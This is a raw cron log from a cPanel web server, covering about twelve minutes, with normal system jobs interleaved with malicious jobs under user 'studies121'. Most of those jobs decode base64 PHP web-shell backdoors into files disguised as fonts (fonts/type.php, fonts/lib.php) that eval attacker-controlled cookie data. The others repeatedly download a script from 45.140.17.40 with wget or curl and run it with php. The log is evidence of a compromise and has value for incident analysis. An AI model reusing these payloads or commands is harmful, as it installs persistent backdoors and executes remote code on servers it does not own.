Sep 21 21:36:02 ip-184-168-122-23 CROND[21190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:37:01 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:37:01 ip-184-168-122-23 CROND[21296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:37:01 ip-184-168-122-23 CROND[21295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:37:01 ip-184-168-122-23 CROND[21298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:38:01 ip-184-168-122-23 CROND[21401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:38:01 ip-184-168-122-23 CROND[21403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:38:01 ip-184-168-122-23 CROND[21405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:38:01 ip-184-168-122-23 CROND[21406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:38:01 ip-184-168-122-23 CROND[21407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:39:01 ip-184-168-122-23 CROND[21520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:39:01 ip-184-168-122-23 CROND[21521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:39:01 ip-184-168-122-23 CROND[21524]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 21:39:01 ip-184-168-122-23 CROND[21526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:39:01 ip-184-168-122-23 CROND[21523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:40:01 ip-184-168-122-23 CROND[21656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:40:01 ip-184-168-122-23 CROND[21659]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:40:01 ip-184-168-122-23 CROND[21657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:40:01 ip-184-168-122-23 CROND[21663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:40:01 ip-184-168-122-23 CROND[21664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:40:01 ip-184-168-122-23 CROND[21667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:40:01 ip-184-168-122-23 CROND[21669]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:40:01 ip-184-168-122-23 CROND[21671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:41:02 ip-184-168-122-23 CROND[21875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:41:02 ip-184-168-122-23 CROND[21876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:41:02 ip-184-168-122-23 CROND[21878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:41:02 ip-184-168-122-23 CROND[21877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:42:01 ip-184-168-122-23 CROND[21987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:42:01 ip-184-168-122-23 CROND[21989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:42:01 ip-184-168-122-23 CROND[21991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:42:01 ip-184-168-122-23 CROND[21993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:42:01 ip-184-168-122-23 CROND[21988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:43:01 ip-184-168-122-23 CROND[22115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:43:01 ip-184-168-122-23 CROND[22118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:43:01 ip-184-168-122-23 CROND[22120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:43:01 ip-184-168-122-23 CROND[22119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:44:01 ip-184-168-122-23 CROND[22221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:44:01 ip-184-168-122-23 CROND[22222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:44:01 ip-184-168-122-23 CROND[22224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:44:01 ip-184-168-122-23 CROND[22227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:44:01 ip-184-168-122-23 CROND[22226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:45:01 ip-184-168-122-23 CROND[22328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:45:01 ip-184-168-122-23 CROND[22330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:45:01 ip-184-168-122-23 CROND[22333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:45:01 ip-184-168-122-23 CROND[22331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:45:01 ip-184-168-122-23 CROND[22332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:45:01 ip-184-168-122-23 CROND[22334]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:46:01 ip-184-168-122-23 CROND[22443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 21:46:01 ip-184-168-122-23 CROND[22445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:46:01 ip-184-168-122-23 CROND[22446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:46:01 ip-184-168-122-23 CROND[22447]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 21:46:01 ip-184-168-122-23 CROND[22448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:46:01 ip-184-168-122-23 CROND[22449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:46:01 ip-184-168-122-23 CROND[22450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:47:01 ip-184-168-122-23 CROND[22553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:47:01 ip-184-168-122-23 CROND[22554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:47:01 ip-184-168-122-23 CROND[22555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:47:01 ip-184-168-122-23 CROND[22557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:48:01 ip-184-168-122-23 CROND[22774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:48:01 ip-184-168-122-23 CROND[22776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:48:01 ip-184-168-122-23 CROND[22775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:48:01 ip-184-168-122-23 CROND[22779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:48:01 ip-184-168-122-23 CROND[22778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
